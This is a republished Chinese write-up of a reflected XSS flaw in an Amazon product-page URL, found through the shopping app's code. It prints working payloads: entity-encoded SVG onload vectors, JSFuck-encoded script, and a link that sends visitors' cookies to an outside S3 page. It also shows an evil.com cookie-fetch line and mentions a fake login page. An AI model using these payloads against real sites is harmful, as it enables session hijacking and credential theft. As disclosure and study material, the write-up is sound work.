您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關發現亞馬遜網站的反射型XSS漏洞的示例分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。
我一直對亞馬遜網站的貨物展示方式感興趣,比如,這種展示方式的設計架構是啥?他們如何實現良好的用戶體驗呢?這些可以略從亞馬遜的A/B測試策略知曉,但卻無法找到他們具體的網站架構測試設計。
A/B測試是一種新興的網頁優化方法,可以用于增加轉化率注冊率等網頁指標。簡單來說,A/B測試是一種用于提升App/H5/小程序產品轉化率、優化獲客成本的數據決策方法。對于互聯網產品來說,通過A/B測試提升點擊轉化率,優化獲客成本已得到越來越多的關注。
一種查看亞馬遜網站架構設計的方式莫過于去了解它的購物APP了。某個雨天的周五下午,我決定反編譯一下亞馬遜的安卓APP看看其中的代碼長啥樣。大概步驟是這樣的:下載APK文件,使用一些在線反編譯器提取其中的代碼,檢查其中不同文件涉及的URL鏈接和產品頁面等信息。
通常,亞馬遜產品頁面鏈接中都包含 ‘/dp/’ 字樣,大概是這樣的:https://www.amazon.com/gp/masclient/dp/<product_id> ,所以我就簡單的執行了 ‘/dp/’ 字段搜索:
我檢查了很多產品頁面URL,但唯獨沒見著像下圖這樣包含 ‘masclient’ 的產品頁面URL:
https://www.amazon.com/gp/masclient/dp/B00Q7LTUK
哦,這看似是一個使用內部應用的自定義產品頁面,把產品id換成其它看看會是什么反應?額,這好像有點戲,URL解析過程中未對產品id作適當檢查,而且還把它全部大寫了(TEST),那來看看注入HTML代碼會怎樣呢?就試試滾動內容的HTML <marquee> 標簽吧:
https://www.amazon.com/gp/masclient/dp/%3Cmarquee%3E%3Ch2%3Ehi%20mom!
啊,太好了,URL竟然對7個不同字段進行了解析,其中一個地方就是腳本標簽里:
所以像alert這樣的javascript函數會被轉義為ALERT,從而失效。還好,有人曾在對Yahoo.com網站的XSS漏洞挖掘中規避了這種大寫轉義,解決方法是這樣的:先把純文本字符轉換為HTML實體字符,然后對其進行URL編碼,最后用SVG標記的onload參數輸出,格式像這樣:
<svg onload=%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x27%3B%26%23x48%3B%26%23x69%3B%26%23x20%3B%26%23x4D%3B%26%23x6F%3B%26%23x6D%3B%26%23x27%3B%26%23x29%3B>
遇到閉合標簽它會給出404錯誤響應,所以,這樣就不可能通過<script src="evil.com/1.js"></script>這樣的方式來加載我們的 javascript 文件。解決方法要這樣:在DOM標簽中,使用 <svg onload=javascript:alert(1)> 實現 javascript 注入,或者直接使用鏈接腳本中的向量來執行,像這樣,我們可以添加這樣的 “}’> 幾個字符來突破限制,最終的URL鏈接就會是這樣的:
https://www.amazon.com/gp/masclient/dp/'}");}JAVASCRIPTHERE;{("
由于大寫轉義的問題,我們在這考慮用 jsfuck 代碼方式來把 javascript 代碼轉變為 ! ( ) + [ ] 形式的字符,例如響應出 debugger 函數的URL經 jsfuck 方式轉換后是這樣的:
https://www.amazon.com/gp/masclient/dp/'%7D");%7D[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]][([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[][(![]+[])[+`...
如果對URL長度沒限制的話,利用這種技術可以成功注入cookie竊取代碼 fetch("evil.com"+document.cookie),最終實現這種cookie竊取的URL長度會超過8000個字符。
按我的測試來看,只要URL長度超過3500個字符左右,亞馬遜網站頁面就會停止響應,所以,在這里,要想實現cookie竊取,我們貌似就不能利用這種 JSFuck 編碼技術了。但在reddit社區中,有人建議可以用 jjencode 編碼,但我測試后發現,這種 $ 符號的方式最終好像不能被正常解析。
JSFuck:是一種基于JavaScript的另類編程風格,它只使用六個不同的字符([,],(,),!,+),來編寫和執行代碼。它不依賴于瀏覽器,所以你甚至可以在 Node.js. 上運行它,轉換后的代碼只使用6個字符,實現的功能和轉換前代碼是一樣的。
Chrome 瀏覽器67.0.3396.62后的版本,都會主動識別并阻攔XSS攻擊,拋出 ERR_BLOCKED_BY_XSS_AUDITOR 響應錯誤。為了完成驗證性測試,我采用了無內置ss auditor的Firefox (60.0.1) 瀏覽器。
有了對以上問題的分析之后,在這里,我構造了一個亞馬遜URL鏈接,能讓訪問者重定向到另一個外部URL鏈接,并在該外部鏈接中實現對訪問者cookie的竊取展示。由于訪問者所有對亞馬遜網站的瀏覽操作都會被這個構造鏈接記錄,也就是說最終我就可以竊取訪問者的亞馬遜網站session。另外,我還可以在其中加入一個假冒的亞馬遜登錄界面,間接實現對訪問用戶的用戶名密碼信息竊取。
測試鏈接:
https://www.amazon.com/gp/masclient/dp/%22%7D%27%3E%3Csvg%20onload%3D%26%23x77%3B%26%23x69%3B%26%23x6E%3B%26%23x64%3B%26%23x6F%3B%26%23x77%3B%26%23x2E%3B%26%23x6C%3B%26%23x6F%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6F%3B%26%23x6E%3B%26%23x2E%3B%26%23x72%3B%26%23x65%3B%26%23x70%3B%26%23x6C%3B%26%23x61%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x27%3B%26%23x68%3B%26%23x74%3B%26%23x74%3B%26%23x70%3B%26%23x73%3B%26%23x3A%3B%26%23x2F%3B%26%23x2F%3B%26%23x73%3B%26%23x33%3B%26%23x2D%3B%26%23x65%3B%26%23x75%3B%26%23x2D%3B%26%23x77%3B%26%23x65%3B%26%23x73%3B%26%23x74%3B%26%23x2D%3B%26%23x31%3B%26%23x2E%3B%26%23x61%3B%26%23x6D%3B%26%23x61%3B%26%23x7A%3B%26%23x6F%3B%26%23x6E%3B%26%23x61%3B%26%23x77%3B%26%23x73%3B%26%23x2E%3B%26%23x63%3B%26%23x6F%3B%26%23x6D%3B%26%23x2F%3B%26%23x70%3B%26%23x65%3B%26%23x6E%3B%26%23x74%3B%26%23x65%3B%26%23x73%3B%26%23x74%3B%26%23x69%3B%26%23x6E%3B%26%23x67%3B%26%23x2D%3B%26%23x74%3B%26%23x61%3B%26%23x72%3B%26%23x67%3B%26%23x65%3B%26%23x74%3B%26%23x2F%3B%26%23x78%3B%26%23x73%3B%26%23x73%3B%26%23x31%3B%26%23x2E%3B%26%23x68%3B%26%23x74%3B%26%23x6D%3B%26%23x6C%3B%26%23x3F%3B%26%23x63%3B%26%23x6F%3B%26%23x6F%3B%26%23x6B%3B%26%23x69%3B%26%23x65%3B%26%23x3D%3B%26%23x27%3B%26%23x2B%3B%26%23x65%3B%26%23x73%3B%26%23x63%3B%26%23x61%3B%26%23x70%3B%26%23x65%3B%26%23x28%3B%26%23x64%3B%26%23x6F%3B%26%23x63%3B%26%23x75%3B%26%23x6D%3B%26%23x65%3B%26%23x6E%3B%26%23x74%3B%26%23x2E%3B%26%23x63%3B%26%23x6F%3B%26%23x6F%3B%26%23x6B%3B%26%23x69%3B%26%23x65%3B%26%23x29%3B%26%23x29%3B%3E
URL編碼后的鏈接:
https://www.amazon.com/gp/masclient/dp/"}'><svg onload=&#x77;&#x69;&#x6E;&#x64;&#x6F;&#x77;&#x2E;&#x6C;&#x6F;&#x63;&#x61;&#x74;&#x69;&#x6F;&#x6E;&#x2E;&#x72;&#x65;&#x70;&#x6C;&#x61;&#x63;&#x65;&#x28;&#x27;&#x68;&#x74;&#x74;&#x70;&#x73;&#x3A;&#x2F;&#x2F;&#x73;&#x33;&#x2D;&#x65;&#x75;&#x2D;&#x77;&#x65;&#x73;&#x74;&#x2D;&#x31;&#x2E;&#x61;&#x6D;&#x61;&#x7A;&#x6F;&#x6E;&#x61;&#x77;&#x73;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x70;&#x65;&#x6E;&#x74;&#x65;&#x73;&#x74;&#x69;&#x6E;&#x67;&#x2D;&#x74;&#x61;&#x72;&#x67;&#x65;&#x74;&#x2F;&#x78;&#x73;&#x73;&#x31;&#x2E;&#x68;&#x74;&#x6D;&#x6C;&#x3F;&#x63;&#x6F;&#x6F;&#x6B;&#x69;&#x65;&#x3D;&#x27;&#x2B;&#x65;&#x73;&#x63;&#x61;&#x70;&#x65;&#x28;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x63;&#x6F;&#x6F;&#x6B;&#x69;&#x65;&#x29;&#x29;>
HTML 實體字符轉換后的鏈接:
https://www.amazon.com/gp/masclient/dp/"}'><svg onload=window.location.replace(‘https://s3-eu-west-1.amazonaws.com/pentesting-target/xss1.html?cookie='+escape(document.cookie))>
在 Chrome 瀏覽器中彈出 alert(1) 的鏈接(還是采用了JSFuck 編碼):
https://www.amazon.com/gp/masclient/dp/'%7D%22);%7D[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[!![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+[]]]+(!!++([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[!![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+[]]]+(!![]+[])[+[]]+(!!++([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+(![]+[])[+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]])()(+!![]);%7B(%22
要對內部APP應用進行嚴格安全審查,有時一個參數就可導致嚴重的安全漏洞。XXS payload一樣也能通過混淆編碼方式繞過某些限制,形成安全威脅。
看完上述內容,你們對發現亞馬遜網站的反射型XSS漏洞的示例分析有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。